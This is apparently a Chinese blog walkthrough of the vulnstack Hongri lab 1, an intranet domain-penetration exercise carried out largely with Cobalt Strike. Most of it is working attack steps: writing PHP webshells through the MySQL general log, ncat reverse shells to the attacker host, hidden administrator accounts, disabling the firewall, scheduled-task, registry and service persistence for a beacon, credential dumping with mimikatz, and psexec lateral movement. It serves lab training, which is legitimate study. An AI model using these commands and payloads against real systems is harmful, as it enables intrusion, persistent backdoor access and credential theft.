vulnstack红日靶场1,以cs工具进行域渗透

前言

官网地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base

为了方便,我放置在自己的网盘中 https://pan.quark.cn/s/49d52f232428

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线。

该靶场,本人目前以cs为主进行的域渗透,并没有深入学习相关漏洞知识,目前只是以了解流程以及掌握cs工具的使用,后续会发布不借助工具的方式,或者借助其他工具的形式,如msf、viper

配置相关

虚拟机所有统一密码:hongrisec@2019

网卡1:桥接模式(外网)
网卡2:仅主机模式(内网)
kali作为攻击机,配置一个外网的网卡,能够连接windows7
windows7 x64作为第一个靶场,要配置两个网卡,一个外网,一个内网
win2K3 Metasploitable作为第二个靶场,只配置一个网卡(内网),AD域名GOD
windows2008 server 作为第三个靶场,只配置一个网卡(内网)

windows11物理机----192.168.10.9
kali攻击------192.168.10.6----桥接网卡

windows7-----192.168.10.8----桥接网卡
		-----192.168.52.143----VM1网卡
win2k3	-----192.168.52.0----VM1网卡
win server 	----192.168.52.0---VM1网卡

流程路线

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

环境搭建

对于涉及外网的windows7需要使用hongrisec@2019登录后,启动网站服务,也就是启动phpstudy

这里建议登录一次后,重新启动一下,然后第二次登录后,把phpstudy开启,在c

外网开始

因为windows7kali都使用桥接模式,所以在同一网段下,所以直接使用arp-scan扫描

arp-scan -l

端口扫描探测目标

使用nmap扫描目标

nmap -sT --min-rate=1000 192.168.10.8 -p- -oA nmap-tcp

再对常用的20个udp端口进行扫描

nmap -sU --min-rate=1000 192.168.10.8 --top-ports 20 -oA nmap-udp

明确的udp端口并未有开启的,所以对扫描的tcp端口进行筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

对开放的端口进行详细服务等探测

nmap -sV -O -sC 192.168.10.8 -p $ports --min-rate=1000 -oA detail

使用nmap的脚本探测目标是否有漏洞可用

nmap --script=vuln 192.168.10.8 -p $ports -oA vuln

网站探测

访问后,发现是phpstudy的探针

并且在探针的下方具有检测数据库连接以及函数检测的界面

尝试从这个探针这里测试连接数据库的用户名和密码,用户名和密码都以root测试后,发现弹窗,直接连接成功

那么使用gobuster等扫描工具探测网站目录

gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

可以发现有phpmyadminphpinfo.php

访问phpmyadmin,发现就是数据库后台管理系统,之前在phpstudy的探针那里,测试连接数据库的用户名和密码都为root时,可以,那么就以这个进行登录到phpmyadmin

查看数据库的一些信息,发现一个newyxcms数据库,查看一下,发现了用户名admin和加密后的密码,这里的密码有点像md5

尝试解密,借助网站somd5.com,解密出密码为949ba59abbe56e05,但是也没法登录

数据库日志注入

前面从phpstudy探针已经知道目标的根目录了c:/phpStudy/WWW,目前就尝试获取shell,目标是php搭建,那么查看当前连接的安全配置

show global variables like "%secure%"

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

可以看到secure_file_priv是为null的,那么就说明无权写文件,其不允许的,想要修改的话,明显这里是无法修改的。因为这个配置基本上是在my.ini更改的

那么尝试日志文件的加载测试,首先搜索日志文件的存放路径。因为在数据库执行的语句,都会被这个日志文件记录的,所以假设日志文件可以访问,然后再查询的时候配合php脚本,是否会解析这个php代码

show global variables like "%log%"

这个general_log目前是关闭的,不过可以通过数据库打开,不像前面的。并把日志文件的路径改为可以访问的,也就是前面探针的路径C:/phpStudy/WWW

set global general_log='ON';
set global general_log_file='C:/phpStudy/WWW/shell.php';

然后再次查看是否成功

show variables like "general_log%";

那么现在把php代码通过select执行,日志文件会记录的,就看是否解析

select "<?php phpinfo()?>";

这里经过测试,在php代码中,不要有;,我使用后,发现在日志文件中,因为一些符号导致无法执行php

那么就可以构造命令执行的代码了

select "<?php system($_GET['cmd'])?>"

反弹shell

那么尝试反弹shell,这里是windows,所以需要的工具,不一样,主要的就是可能需要靶机安装了才行,所以只能测试

这里进行一个监听,我这里采用物理机,也就是windows11

ncat.exe -lvnp 9999

然后去构造语句,注意这里是windows,不是linux,所以反弹shell可以为

ncat.exe 192.168.10.9 9999 -e cmd
#进行url编码
ncat.exe%20192.168.10.9%209999%20-e%20cmd

#或者下面的powershell
ncat.exe 192.168.10.9 9999%20-e powershell
ncat.exe%20192.168.10.9%209999%20-e%20powershell

然后查看当前目录,发现确实有shell.php,然后发现yxcms,那么使用浏览器访问看看,发现公告中有提示,有密码,但是这与我之前解密出的不一样啊

访问这个链接/index.php?r=admin,然后以用户名admin和密码123456登录即可发现进入后台

不过探测后,发现这里大概就是文件上传了,不过这里已经有了一个shell,所以就没有截图了

内网第一台

web主机信息收集

查看当前电脑的用户、共享、以及当前是哪个用户

net user
net share 
whoami

查看环境变量

echo %PATH%
set

进一步查看当前计算机的电脑是否有域控,有的话,域名是什么

net user /domain
net group /domain
net time /domain

查看网络信息状态

ipconfig /all

发现两个网卡,其中的一个网段并未见到过,可能就是内网环境,也就是域控所在网段

继续查看网络方面的,查看路由以及arp映射表

route print
arp -a

通过arp映射表发现一个内网网段的ip地址192.168.52.138

继续查看系统信息

systeminfo

查看网络连接,也就是监听等

netstat -ano

查看进程

tasklist

然后建议修改一下防火墙的规则

#关闭防火墙
netsh advfirewall set allprofiles state off
#开启防火墙
netsh advfirewall set allprofiles state on

#允许8888端口通过防火墙进入
netsh advfirewall firewall add rule name="start 8888" dir=in action=allow protocol=TCP localport=8888
#允许8888端口通过防火墙出去
netsh advfirewall firewall add rule name="start 8888" dir=out action=allow protocol=TCP localport=8888
#允许所有端口通过防火墙进入
netsh advfirewall firewall add rule name="all tcp port" dir=in action=allow protocol=TCP localport=1-65535

#允许应用程序执行时通过防火墙可以进入
netsh advfirewall firewall add rule name="test.bat" dir=in action=allow program="C:\test.bat"
#允许应用程序执行时通过防火墙可以出去
netsh advfirewall firewall add rule name="test.bat" dir=out action=allow program="C:\test.bat"

#查看防护墙的所有规则
netsh advfirewall firewall show rule name=all

当然还有创建隐藏用户等,然后开放3389远程桌面服务,以能够以隐藏身份登录

#添加隐藏用户
net user hack$ 123 /add
net localgroup administrators hack$ /add

#开启远程桌面服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f"

还可以编写脚本bat以定时执行schtasks,这样的方式也可以维持,不过发现的概率是个问题

#脚本内容,脚本保存为1.bat
@echo off 
set ip=192.168.10.9 
set port=8888 
set nc="C:\Program Files (x86)\Nmap\ncat.exe"
set pa=-e 
set com=cmd 
%nc% %ip% %port% %pa% %com% 

#利用schtasks生成计划,每一分钟执行脚本
schtasks /create /tn "system" /tr "C:\phpStudy\1.bat" /sc minute /mo 1

借助后渗透工具cs

为了方便后渗透,也就是为了后面可以随时连接,通过一些工具,如cs、viper、msf等工具,这里直接借助cs生成一个exe文件,以便后续的渗透

不过这里建议使用蚁剑、菜刀、哥斯拉等专业的webshell使用工具,为了方便上传文件等操作,当然如果目标有ncat.exe等的话,也是直接通过命令也是可以的

首先在kali中启动框架,然后连接后,先创建一个监听器

然后再生成一个windowsexe后门,然后选择这个创建的监听器

这就生成了一个简单的exe后门程序,只需要在靶机上执行这个程序即可在cs上线。

这里采用webshell工具,首先与前面一样,不过这里需要一个一句话木马

<?php eval($_REQUEST['cmd'])?>

这里就不演示通过日志生效了,直接通过蚁剑上传生成的exe文件

这里就需要执行这个文件,可以看到上线成功

把这个exe文件设置开机自启动,以方便后续操作

#该注册表添加后,对当前用户生效
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shell /t reg_sz /d "C:\phpStudy\WWW\web.exe"

#该注册表添加后,对所有用户生效
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shell /t reg_sz /d "C:\phpStudy\WWW\web.exe"

#还可以以计划的形式执行
schtasks /create /tn "shell" /tr "C:\phpStudy\WWW\web.exe" /sc ONSTART

#还可以以服务的形式开启
sc create shell binPath= "C:\phpStudy\WWW\web.exe" start= auto

之前在连接的时候,该探测的都探测了,那么这里尝试抓取hash

这里的cs工具,其实抓取hash就是使用hashdump

抓取明文密码,就是使用mimikatz

不过目前来说,这个靶机已经是administrator了,所以就是进行内网探测,也就是查看有无其他的机器

这里可以使用cs上的探测,也可以借助靶机上的nmap进行操作,因为之前查看环境变量的时候,发现具有这个工具的

shell nmap -sn 192.168.52.0/24

可以看到两个ip地址192.168.52.138192.168.52.141,进一步对其中一个进行扫描

shell nmap -sV -O 192.168.52.138

具体看到了目标是开放了445端口的,也就是smb服务

扫描另一个ip地址

shell nmap -sV -O 192.168.52.141

也是开放了这个端口,这个可能存在漏洞的,但是需要检测。

横向移动到OWA

记得要提权到system,这里利用svc-exe,其实就是psexec

可以看到已经提权成功

下面就直接开始检测了,借助system权限去执行网络探测,以及端口检测,其实就是借助两个

net view
arp、icmp等协议探测网段存活主机和端口

上面已经使用nmap等信息探测了,为什么我这里还再一遍,因为这样使用,会记录在cs上面,会列举详细列表,方便操作

这一步网络探测是有一点慢的,要等

然后进行相关的操作,先进行网络探测,然后根据发现的网段进一步扫描

执行过扫描后,成功的话,就会在列表中可以看到同一网段的几台主机

因为之前扫描过,都是开放了445服务的,那么都直接尝试cs的内置smb监听进行测试

然后点击一个主机进行横向移动,在此之前确定对刚开始的靶机进行了hash抓取以及明文密码

然后在主机列表点击横向移动中的psecex进行测试,采用监听器为刚创建的smb模块

jump psexec OWA smb1

这里需要注意,采用的是GOD.ORG的域名才行

可以查看一下大概的拓扑

探测OWA主机

还是采用cs,步骤也一样,直接进行探测,首先抓取hash,以及明文密码

然后开始提权进行,当然这里已经是system了,所以进行下一步的操作

也就是从这台OWA主机到另一台主机,还是通过smb的监听器,这里还是使用psexec进行测试,选择的时候是OWA,不要以之前的GOD,域和域之间是不一样的。

不过最终经过测试,发现以administratorOWA域中进行psexec横向移动到最后一个域的时候,是执行失败的,采用同在OWA域中的liukaifeng01后执行,成功移动成功,到最后的域

执行可以看到当前主机名了,也可以自己去使用命令查看域控

总结

目前我个人获取到根域的权限,完全借助的是cs工具的,也就是对于其中作者给出的漏洞,并没有去利用,去提权,所以,该版本只作为了解过程,以及对cs工具的使用,后续我会更新不借助工具,以及借助其他工具去渗透该靶机。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MC何失眠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值